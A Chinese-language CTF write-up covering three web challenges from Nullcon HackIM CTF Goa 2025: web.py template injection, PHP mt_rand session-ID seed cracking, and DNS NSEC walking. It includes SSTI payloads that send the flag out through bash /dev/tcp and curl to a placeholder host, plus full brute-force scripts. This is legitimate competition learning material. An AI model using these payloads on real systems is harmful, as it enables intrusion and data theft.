Nullcon HackIM CTF Goa 2025 web 部分wp

国际赛 Nullcon HackIM CTF Goa 2025

Temptation

访问 /?source = 随便一个参数即可得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import web
from web import form
 
web.config.debug = False
 
urls = (
    '/', 'index'
)
 
app = web.application(urls, locals())
render = web.template.render('templates/')
FLAG = open("/tmp/flag.txt").read()
 
temptation_Form = form.Form(
    form.Password("temptation", description="What is your temptation?"),
    form.Button("submit", type="submit", description="Submit")
)
 
class index:
    def GET(self):
        try:
            i = web.input()
            if i.source:
                return open(__file__).read()
        except Exception as e:
            pass
 
        f = temptation_Form()
        return render.index(f)
 
    def POST(self):
        f = temptation_Form()
        if not f.validates():
            return render.index(f)
 
        i = web.input()
        temptation = i.temptation
 
        if 'flag' in temptation.lower():
            return "Too tempted!"
 
        try:
            temptation = web.template.Template(f"Your temptation is: {temptation}")()
        except Exception as e:
            return "Too tempted!"
 
        if str(temptation) == "FLAG":
            return FLAG
        else:
            return "Too tempted!"
 
application = app.wsgifunc()
 
if __name__ == "__main__":
    app.run()

是 web.py 框架的之前没有见过,但是通过 web.template.Template 不难看出是 ssti,问题是无回显,所以可以反弹 shell 或者 curl 外带

1
2
${__import__('os').system('bash -c "cat /tmp/fla* > /dev/tcp/{ip}/{port}"')}
${__import__('os').popen('cat /tmp/fla* | base64 | curl -X POST -d @- https://vps:port').read()}

还有另一种做法,可以利用 web 框架本身的语法,模板中的 $code 块用于在模板中执行 Python 代码,进而构造出 FLAG 通过条件判断

1
2
$code:
    return chr(70)+chr(76)+chr(65)+chr(71) # self.update({"__body__": "FL"+"AG"})也可以

但是不能直接复制到框中,需要用 python 发包

1
2
3
4
5
6
7
8
9
import requests
 
body = """
$code:
    return chr(70)+chr(76)+chr(65)+chr(71)
"""
 
res = requests.post("http://52.59.124.14:5011/", data={"temptation": body, "submit": ""})
print(res.text)

Sess.io

严格意义上这题有点算密码学了,先看一下源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
// 定义一个字母和数字的字符集,用于生成随机字符串
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));
 
// 关闭 PHP 错误报告
ini_set("error_reporting", 0);
 
// 如果 URL 中包含 "source" 参数,显示当前 PHP 文件源代码
if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}
 
// 引入包含 $FLAG 的文件,假设 $FLAG 是某个秘密标志(flag)
include "flag.php"; // $FLAG
 
// 将 FLAG 按每 4 个字符分割成数组
$SEEDS = str_split($FLAG, 4);
 
// 定义一个函数,用于生成一个基于用户名和密码的会话 ID
function session_id_secure($id) {
    global $SEEDS;
    
    // 使用 MD5 哈希对用户名和密码进行处理,生成一个索引
    // 通过该索引从 SEEDS 数组中选取一个部分并转换为十六进制数
    // 使用 Mersenne Twister 随机数生成器(mt_srand)生成一个伪随机种子
    mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]),16));
 
    // 初始化一个空的会话 ID 字符串
    $id = "";
 
    // 循环 1000 次,生成一个包含随机字符的会话 ID
    for($i = 0; $i < 1000; $i++) {
        // 从 ALPHA 中随机选择一个字符并拼接到会话 ID 中
        $id .= ALPHA[mt_rand(0, count(ALPHA) - 1)];
    }
 
    // 返回生成的会话 ID
    return $id;
}
 
// 如果表单中提交了用户名和密码
if(isset($_POST['username']) && isset($_POST['password'])) {
    // 根据用户名和密码生成会话 ID
    session_id(session_id_secure($_POST['username'] . $_POST['password']));
    
    // 启动会话
    session_start();
    
    // 输出感谢信息
    echo "Thank you for signing up!";
} else {
    // 如果用户名和密码未提交,提示用户输入必要的信息
    echo "Please provide the necessary data!";
}
?>

我们知道 mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]), 16)) 中的 md5($id)[0] 用于从 $SEEDS 数组中选取索引,数组中的每一块包含四个字符。通过拼接账号和密码,得到其 MD5 哈希值的首位作为 $SEEDS 数组的索引,进而选定种子用于 mt_srand。由于 mt_srand 的种子是可以通过结果来预测的:

https://github.com/openwall/php_mt_seed

所以我们的思路是:构造一个包含所有可能 MD5 首位的账号和密码组合列表 => 发送请求并确认块的数量 => 选取每个块的会话 ID(PHPSESSID)的前 30 位 => 利用 ALPHA 表来确定每一位的对应索引 => 最后通过工具还原每个块的种子并拼接最终的 flag

看一下 poc:(需要在 php_mt_seed 目录下运行)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
import subprocess
import re
 
# 以下是一些随机生成的 MD5 值及其对应的密码。每个密码都是由数字、字母和特殊字符组成的。
# MD5 值的首位字符涵盖了从 '0' 到 'f' 的范围,确保了每个哈希的首位字符在十六进制范围内。
# 用于测试或验证密码和哈希值的映射。
passwords=[
("0f7e44a922df352c05c5f73cb40ba115","1234567891"),
("1abdec9e557dd71f742a5cfd35fb85f5","25849"),
("267ffd6c931f0115b331c412a43d45dd","23wesdxc@#"),
("3c0a498c552c843646b8fd12fe00b2db","44112886d1d1476"),
("47ee17f970ac4cb5dd5c38508f43b3c7","1q9hitn358"),
("57b7fa6522a60d4864bdaeb9291e3915","258741"),
("663fd3c5144fd10bd5ca6611a9a5b92d","3077"),
("7af9ef04b0871d247cebd4a4ab4aa8a5","3WRs3jO576"),
("8af6d54b19ab50824a31ed26e972b7be","200701203"),
("9a75d47ca2c81e4301c642c30df54263","2kewl4u"),
("af937209a0b274e6048a23909cf0a78b","1a1a3c7g"),
("b1758e9b7f39391aa4c39b456da20c16","1neosmartstatestado"),
("c843481f52d8eeb5c03a8cbbf48355d7","118294"),
("dd5ac53efc3789d835bdb58ee684e7bc","1ct5WiN113"),
("e6edfc340d0003d6538f2e4cac7af97c","13a82aK395"),
("f5bb0c8de146c67b44babbf4e6584cc0","123123123")
]
 
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
}
 
aboba = []
 
print(f"{'Hash Start':^15}{'Hash':^35}{'Login':^15}{'Password':^20}")
 
for hsh, pw in passwords:
    try:
        login, password = pw[:2], pw[2:]
        print(f"{hsh[0]:^15}{hsh:^35}{login:^15}{password:^20}")
        data = {
            'username': login,
            'password': password,
        }
        response = requests.post('http://52.59.124.14:5008/', headers=headers, data=data)
        aboba.append((hsh[0], hsh, login, password, response.cookies['PHPSESSID']))
    except:
        pass
 
# 字符集和解码函数
alph = "abcdefghijklmnopqrstuvwxyz0123456789_-"
 
def ck_decode(ck):
    decoded = [alph.find(i) for i in ck]
    # 去除掉第一个数字,即 idx 部分
    return ' '.join(map(lambda x: f'{x} {x} {0} {37} ', decoded[:30]))  # 从第一个数字开始输出
 
# 用于存储提取的 seed 值的列表
seeds = []
 
for idx, hsh, lg, pw, ck in aboba:
    decoded_ck = ck_decode(ck)
    command = ["./php_mt_seed"] + decoded_ck.split()  # 创建命令
    print("[+] Executing command:", " ".join(command))  # 打印将要执行的命令
    
    # 捕获命令的输出
    result = subprocess.run(command, capture_output=True, text=True)
    
    # 正则表达式匹配十进制数字(忽略十六进制部分)
    match = re.search(r"seed = 0x[0-9a-fA-F]+ = (\d+)", result.stdout)
    if match:
        seed_value = match.group(1)  # 获取十进制的 seed 数字
        print(f"[+] Found seed value: {seed_value}")
        seeds.append(seed_value)  # 将提取到的 seed 值加入列表
 
# 用于存储解码后的原始值
original_values = []
 
for seed in seeds:
    # 将十进制数字转换为十六进制字符串
    hex_value = hex(int(seed))[2:]
    
    # 如果十六进制字符串长度是奇数,补充一个前导零
    if len(hex_value) % 2 != 0:
        hex_value = "0" + hex_value
    
    # 将十六进制字符串转换为字节数据
    binary_data = bytes.fromhex(hex_value)
    
    # 解码字节数据恢复原始值
    original_value = binary_data.decode('utf-8', errors='ignore')  # 加上 errors='ignore' 防止无法解码的字节报错
    original_values.append(original_value)
 
# 拼接所有的原始值为一个字符串
result_string = "".join(original_values)
 
print("[+] Flag:", result_string)

1764923541336-80017587-4311-407d-9e3d-20368811be2f.png

感觉开了线程和不开速度没啥区别(都得 10 分钟),拿来一手国外师傅的脚本明显快了很多(具体没有研究,好像是直接把 php_mt_seed 的内容加到里面去了)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-")); // 定义 ALPHA 字符集,包含所有有效字符
 
// 测试输入的用户名和对应的哈希前缀映射
$test_inputs = [
    'test16' => '0',
    'test37' => '1',
    'test36' => '2',
    'test13' => '3',
    'test6' => '4',
    'test1' => '5',
    'test12' => '6',
    'test9' => '7',
    'test3' => '8',
    'test29' => '9',
    'test2' => 'a',
    'test7' => 'b',
    'test10' => 'c',
    'test18' => 'd',
    'test5' => 'e',
    'test0' => 'f'
];
 
// 通过用户名获取 PHPSESSID(会话ID)
function get_session_id($username) {
    $url = 'http://52.59.124.14:5008';  // 目标 URL
    $data = http_build_query([  // POST 请求数据,用户名和密码为空
        'username' => $username,
        'password' => ''  // 空密码
    ]);
 
    $opts = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',  // 设置请求头
            'content' => $data  // 设置请求体
        ]
    ];
 
    // 创建 HTTP 请求上下文并发送请求
    $context = stream_context_create($opts);
    $response = @file_get_contents($url, false, $context);  // 获取响应
 
    if ($response === false) {
        return null;  // 请求失败,返回 null
    }
 
    // 解析响应头,提取 PHPSESSID
    $headers = $http_response_header ?? [];
    foreach ($headers as $header) {
        if (preg_match('/PHPSESSID=([^;]+)/', $header, $matches)) {
            return $matches[1];  // 返回 PHPSESSID
        }
    }
 
    return null;  // 如果没有找到 PHPSESSID,返回 null
}
 
// 根据给定的种子和会话ID,验证该种子是否能生成与会话ID匹配的字符串
function check_seed($seed, $session_id) {
    mt_srand($seed);  // 设置种子
 
    // 检查会话 ID 的前 10 个字符
    for ($i = 0; $i < 10; $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];  // 生成随机字符
        if ($generated !== $session_id[$i]) {  // 如果字符不匹配
            return false;  // 返回 false
        }
    }
 
    // 再次使用相同种子检查整个会话 ID 是否匹配
    mt_srand($seed);
    for ($i = 0; $i < strlen($session_id); $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
        if ($generated !== $session_id[$i]) {
            return false;
        }
    }
    return true;  // 如果全部匹配,返回 true
}
 
// 破解会话 ID,尝试找到正确的种子
function crack_session($session_id) {
    $ranges = [
        [0x41, 0x5A], // 字母 A-Z 的 ASCII 范围
        [0x30, 0x39], // 数字 0-9 的 ASCII 范围
        [0x20, 0x7E]  // 其他 ASCII 可打印字符
    ];
 
    // 尝试不同的字节组合(4 字节)
    foreach ($ranges as $range) {
        for ($a = $range[0]; $a <= $range[1]; $a++) {
            echo sprintf("Testing first byte: %c (0x%02x)\n", $a, $a);
            for ($b = $range[0]; $b <= $range[1]; $b++) {
                for ($c = $range[0]; $c <= $range[1]; $c++) {
                    for ($d = $range[0]; $d <= $range[1]; $d++) {
                        $seed = ($a << 24) | ($b << 16) | ($c << 8) | $d;  // 组合字节生成种子
                        if (check_seed($seed, $session_id)) {  // 检查该种子是否生成匹配的会话ID
                            return $seed;  // 返回匹配的种子
                        }
                    }
                }
            }
        }
    }
    return null;  // 如果未找到有效的种子,返回 null
}
 
// 初始化一个数组用来存储会话信息
$sessions = [];
 
// 处理命令行参数,如果有提供会话信息,则直接使用
for ($i = 1; $i < $argc; $i++) {
    if (preg_match('/^([0-9a-f]):(.+)$/', $argv[$i], $matches)) {
        $sessions[$matches[1]] = $matches[2];  // 将哈希前缀和会话ID存储
    }
}
 
// 如果没有提供会话信息,则使用预设的测试用户名进行会话ID的获取
if (empty($sessions)) {
    foreach ($test_inputs as $username => $hash_prefix) {
        echo "\nTrying username: $username (hash prefix: $hash_prefix)\n";
 
        $session_id = get_session_id($username);  // 获取会话 ID
        if (!$session_id) {
            echo "Failed to get session ID\n";  // 获取失败,跳过
            continue;
        }
 
        $sessions[$hash_prefix] = $session_id;  // 存储会话ID
    }
}
 
// 初始化一个数组用来存储 flag 的各个部分
$flag_parts = [];
 
// 针对每个会话,尝试破解其种子并恢复 flag
foreach ($sessions as $hash_prefix => $session_id) {
    echo "\nCracking session for hash prefix $hash_prefix\n";
    echo "Session ID: " . substr($session_id, 0, 30) . "...\n";
 
    $seed = crack_session($session_id);  // 破解会话,找到种子
 
    if ($seed !== null) {
        $bytes = pack('N', $seed);  // 将种子转换为字节
        echo "Found seed: 0x" . dechex($seed) . "\n";  // 输出种子的十六进制表示
        echo "Flag part: $bytes\n";
        echo "Hex: " . bin2hex($bytes) . "\n";  // 输出字节的十六进制值
 
        $pos = hexdec($hash_prefix);  // 将哈希前缀转换为十进制
        $flag_parts[$pos] = $bytes;  // 将该部分存储在 flag 数组中
    }
}
 
// 输出最终的 flag,如果有找到有效的 flag 部分
if (count($flag_parts) > 0) {
    echo "\nFlag:\n";
    echo implode("", $flag_parts);  // 拼接所有 flag 部分
    echo "\n";
}
?>

ZONEy

这个题是压轴题,跟着学习一下

1764923541426-345ea166-f021-4ed3-83d7-4d01a80bf95c.png

我尝试使用 nc 连接 udp 没有什么作用,看了别人 wp 才知道考的 dns

先用 nmap 扫描确认是 dns 服务器

1
nmap -p 5007 52.59.124.14 -sCV

查一下 dns,指定查询类型为 A 记录。A 记录是用于将域名解析为 IPv4 地址的 DNS 记录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dig @52.59.124.14 -p 5007 A www.ZONEy.eno  
 
; <<>> DiG 9.20.4-3-Debian <<>> @52.59.124.14 -p 5007 A www.ZONEy.eno
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7364
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.ZONEy.eno.                 IN      A
 
;; ANSWER SECTION:
www.ZONEy.eno.          7200    IN      CNAME   challenge.ZONEy.eno.
challenge.ZONEy.eno.    7200    IN      A       127.0.0.1
 
;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.
 
;; ADDITIONAL SECTION:
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1
 
;; Query time: 28 msec
;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP)
;; WHEN: Sat Feb 01 19:09:06 CET 2025
;; MSG SIZE  rcvd: 150

注意到 challenge.ZONEy.eno 指向 127.0.0.1,这是一个经典的 CTF 举措 — 将流量重定向回自身。这不是最终目的地,这意味着我必须进一步 NSEC-walk。

1
dig @52.59.124.14 -p 5007 NSEC challenge.zoney.eno

查到另一个子域名 hereisthe1337flag.zoney.eno,再查一下 TXT 记录

1
dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno